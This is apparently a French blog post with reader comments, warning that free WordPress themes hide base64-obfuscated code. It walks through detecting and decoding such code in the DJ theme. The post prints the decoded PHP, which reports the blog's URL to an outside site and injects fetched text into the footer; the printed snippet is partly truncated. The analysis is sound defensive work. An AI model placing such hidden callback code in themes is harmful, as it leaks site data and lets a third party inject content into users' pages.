avr
20

Attention votre thème gratuit est piégé !

Si vous avez un thème gratuit, vous êtes peut-être victime, sans le savoir, de codes malveillant qui peuvent aller jusqu’à récupérer des informations sur votre blog.

Code base64 caché dans les thèmes gratuits

Démonstration par l’exemple

Mise en place d’un thème gratuit

Je cherche un site de thèmes gratuits au pif sur Google. Je tombe sur wordpresstemplates.com et sur ce site, je choisis un thème, toujours au hasard et je tombe sur DJ WordPress Theme.

Déjà, rien que le nom ça part mal :).

Je l’installe sur un autre blog que celui-ci pour ne pas prendre de risque.

Au passage j’installe le plugin TAC (Theme Authenticity Checker) qui permet de détecter les codes malicieux.

Recherche de malwares

Je me rend dans Apparence>Tac qui m’affiche ceci :

Résultat de Theme Authenticity Checker

Du code encrypté est trouvé ce qui en soit n’est pas forcément dramatique car si ça se trouve ce n’est juste que le nom de l’éditeur qui est décodé à la volée. Il faut donc aller voir de plus près.

Cliquons sur Details.

Affichage des pages comportant potentiellement du code malicieux

Ouch!  4 pages sont concernées. Les 2 pages du bas (static links) ne comportent rien de grave, juste des liens vers l’éditeur.

Que trouve -t-on dans ces pages ? Elle contiennent toutes des variables codées en base64.

Après ouverture des 4 pages incriminées (à l’aide du lien [edit] à droite) je trouve une suite de caractères incompréhensibles qui attire mon attention dans le fichier theme_licence.php

Ca commence par :

<?/* asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243

=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n2

3r0wf2n=sdaofn340hf0243=0weqpn234r…

Bon, je vous passe le reste, c’est tout aussi limpide :)

Décodage

En fait il s’agit de code PHP, jusque là rien d’anormal.

Pour ceux qui connaissent un peu le PHP, il suffit de faire un peu de tri en passant à la ligne aux bons endroit pour y voir plus clair.

Une fois le ménage réalisé on se rend compte que le code est masqué par du commentaire inutile histoire qu’on ne vienne pas mettre notre nez dedans.

Après effacement du brouillage, je trouve une variable ($oac) qui contient encore et toujours une suite de caractères incompréhensibles. Dans le même fichier se trouve une fonction de php qui s’appelle decode_base64 ce qui m’incite à penser que la variable est codé avec cette algorithme.

C’est donc le moment de dégainer le décodeur base64 pour voir ce qui se cache là dedans.

Après un premier décodage on obtient toujours une suite de caractères.

Donc je copie le résultat et je le passe de nouveau à la moulinette et j’obtiens du code PHP tout neuf.

A savoir ceci :

$contents = file_get_contents(pathinfo(__FILE__,PATHINFO_DIRNAME)."/footer.php");
 
if(strpos(" ".$contents,"wp_footer();")  (24 * 3600))
	{
		$credit_text = file_get_contents("http://www.wordpresstemplates.com/form_work/output.txt?ref=".get_bloginfo('url'));
		update_option("credit_text",$credit_text);
		update_option("credit_date",time());
 	} else {
			$credit_text = get_option("credit_text");
	}
	return $credit_text;
}
 
add_action('wp_footer','print_footer');
 
function print_footer()
{
	$credit = get_credits();
	echo $credit;
}
?>

La ligne suivante attire mon attention

file_get_contents("http://www.wordpresstemplates.com/form_work/output.txt?ref=".get_bloginfo('url'));

Que signifie-t-elle ?

Que chaque fois que la page est chargée, celle-ci se rend sur le site  www.wordpresstemplates.com, ce qui en soit n’est pas forcément dramatique mais surtout, elle se rend sur la page output.txt du site qui va garder l’adresse de votre blog grâce à la fonction get_bloginfo(‘url’).

Le site en question connait donc votre blog et, pourquoi pas, chaque heure à laquelle un visiteur se connecte.

Autre méthode

Certains codes malveillants vont même plus loin.

J’en ai trouvé dans le thème Katana, téléchargé à partir d’un site douteux, dans lequel il y’a du code encodé dans du code qui finalement télécharge carrément un décodeur base64 sur un autre site web pour encore une fois décoder.

Oui ça devient un poil tordu :)

Vous pouvez consulter cette autre méthode plus compliquée de décodage sur shadowlantern.com.

Les thèmes payants c’est mieux

Bien sûr ce genre de pratique ne concerne pas tout les thèmes payants. Vous pouvez très bien en utiliser un gratuit mais soyez très vigilants. Vérifiez celui qui vous plait le dès que vous l’avez installé.

Par ailleurs, même si du texte est encodé, ça ne veut pas forcément dire qu’il est malveillant mais si il faut passer des heures à vérifier chaque thème qui nous intéresse il vaut mieux passer son chemin.

De plus il faut souvent un peu de connaissances en programmation web pour vraiment comprendre ce que fait le code caché et tout l’intérêt des CMS, c’est justement de créer son blog sans rien y connaître.

Donc si vous voulez être sûrs de ne pas avoir de code malicieux préférez les thèmes payants comme sur Woo thèmes, Theme Junkie ou Theme Forest. Il y’en a bien d’autres évidemment.

 

 

 

Articles similaires :

18 Comments to “Attention votre thème gratuit est piégé !”

  • rio orange 25 avril 2012 à 10 h 18 min

    Je me suis deja fait avoir avec un template bourré de backlinks bien medicaux (oui oui des ptites pillules bleus ^^) et j’ai galéré pendant toute une aprem pour les virer !!

  • agrumeprod 25 avril 2012 à 18 h 48 min

    Quand on le sait déjà on peut y palier même si ça prend du temps mais c’est tellement caché qu’on ne risque pas de le deviner tout seul.
    Si tu as réussi c’est le principal.

  • Rodrigue from Theme pour Wordpress 12 mai 2012 à 12 h 52 min

    Salut Arnaud,

    En effet les thèmes sont généralement codé, ceux que je propose sont en non codé (il suffit de changer les liens du footer quand même). Mais je suis tombé sur certains qui étaient une vrai misère, je pensai avoir trouvé un thème superbe pour un de mes sites de poker, et au moment où je consulte un de mes articles, je vois « article invités » et en dessous des articles automatiquement insérés avec des liens pointant sur un même site…

    Les thèmes wordpress sont un bon moyen de chopper du backlink (je doute de l’efficacité).

    Je conseil donc de trouver de bons thèmes sur les sites que tu as cités, la qualité est au rendez vous.

    Merci pour ton article ;)
    Rodrigue@Theme pour WordPress Articles récents..Commentaires sur Présentation de ThèmeForest par WooThemes.com: Avis sur les Thèmes WordPress proposés !- Theme WP GratuitMy Profile

  • agrumeprod 12 mai 2012 à 13 h 35 min

    Je ne connaissais pas le coup des articles invités.
    Je vois que l’imagination pour ce genre de pratiques n’a pas de limites :)

  • Guillaume from blog geek 1 juillet 2012 à 11 h 03 min

    Pour choisir mon thème gratuitement et histoire de n’avoir aucun soucis, pour ma part je le télécharge dans ceux dispos par défauts sur le back office de wordpress. Au moins je limite les risques :D
    Guillaume@blog geek Articles récents..Gadget geek et espionMy Profile

  • Arnaud 1 juillet 2012 à 11 h 55 min

    Certes, c’est plus limité mais au moins tu es sûr qu’ils sont propres.

  • Daming 19 août 2012 à 5 h 01 min

    Est ce que un équivalent de ce plugin existe pour Joomla, c’est un peu effrayant tout cela. On n’arrête pas l’imagination…
    Daming Articles récents..Wudangshan : à la source du Tai Ji QuanMy Profile

  • Chaton Angora Turc 28 août 2012 à 17 h 26 min

    C’est vrai que trouver des thèmes gratuits avec du code en base 64, c’est vraiment frustrant.

    C’est long à décoder, et en plus c’est souvent des liens concernant le casino ou le viagra donc pas envie d’être pénalisé par Google à cause de cela.

    De plus, un thème payant ne coute pas une fortune, ils sont raisonnables dans leurs prix.

    Antoon
    Chaton Angora Turc Articles récents..Portée 2012 : née le 8 aout 2012My Profile

  • Arnaud 28 août 2012 à 17 h 31 min

    D’autant plus pour quelqu’un qui ne connait pas le problème et qui découvre que ça existe alors que son site tourne depuis des mois.

    Le plugin TAC permet déjà de faire un tri mais, certes, on a moins de surprises avec un thème payant.

  • Sergent from imprimerie en ligne 16 octobre 2012 à 13 h 10 min

    Oui y a de très belles surprises en général dans les pied de page des templates gratos.
    Créer des templates de site est une strategie ref bien connue.

  • GeekPress from Tutoriel WordPress 27 novembre 2012 à 23 h 09 min

    De manière générale, il faut éviter à tout pris les thèmes gratuits. On n’est jamais sur de la qualité du code et le support des développeurs est très souvent désuète.

    Alors pour ne payer 40€ un thème payant ? La qualité et la sécurité est toujours présente et à ce prix là et malgré la crise, ce n’est pas cela qui va nous ruiner ;)
    GeekPress@Tutoriel WordPress Articles récents..Empêcher l’usurpation d’identité dans les commentairesMy Profile

  • Edouard from blog design 22 janvier 2013 à 16 h 50 min

    Je me suis déjà fait avoir plusieurs fois. Une fois rien n’était affiché, il fallait regarder dans le template pour trouver et ce n’était pas simple…
    Merci de nous prévenir ainsi, car on en parle pas assez.

  • Le clos d'othe chambres hote 5 avril 2013 à 7 h 27 min

    oui payer un peu sécurise les relations, pour ma part je reste toujours très classique et je travaille sur les thèmes d’origine en secouant un peu les css.

    mais bravo pour cet article qui signale un grave danger, je vous laisse le soin de contrôler une idée qui me colle deux synapses en permanence

    et si les codes malveillant chopaient les adresses email des commentaires ???

  • Laurent 8 avril 2013 à 0 h 51 min

    Les malwares cachés au sein des thèmes gratuits c’est connu depuis la nuit des temps!

  • phil blog une passion 2 septembre 2013 à 7 h 46 min

    Je me suis déjà fait avoir. heureusement j aime bien bidouillé les templates et j ai vu le base64 qui est en général mauvais signe.

  • psygratuit 23 octobre 2013 à 11 h 45 min

    merci pour cette article. Comment détecter du code malveillant sur un template joomla?

  • serrurier paris 2 24 juin 2014 à 15 h 12 min

    C’est sympa de votre part d’avoir partager des informations comme cella, par ce que moi personnellement je n’utilise que des themes gratuit.

  • Christ 26 septembre 2014 à 14 h 31 min

    Bonjour,
    Je ne suis pas sûre que les thèmes payants soient plus sécurisants, après je n’y connais rien techniquement…
    En fait, je lorgne sur Jarida,un thème themeforest mais il est bourré de code 64 et plein de baratin dans l’iframe ligne 10 (le gros bloc étrange) d’après le site theme check : http://themecheck.org/fr/score/theme_wordpress_jarida_share_on_theme123_net_.html.
    Comment un site normalement payant et populaire vu le nombre de ventes, peut-il contenir autant de code 64 ? Faudra-t-il tout nettoyer ou ne pas du tout l’acheter ?
    Merci d’avance pour les éclairages

Poster un commentaire

Ajouter un lien vers un de mes derniers artcles.

This site uses KeywordLuv. Enter YourName@YourKeywords in the Name field to take advantage.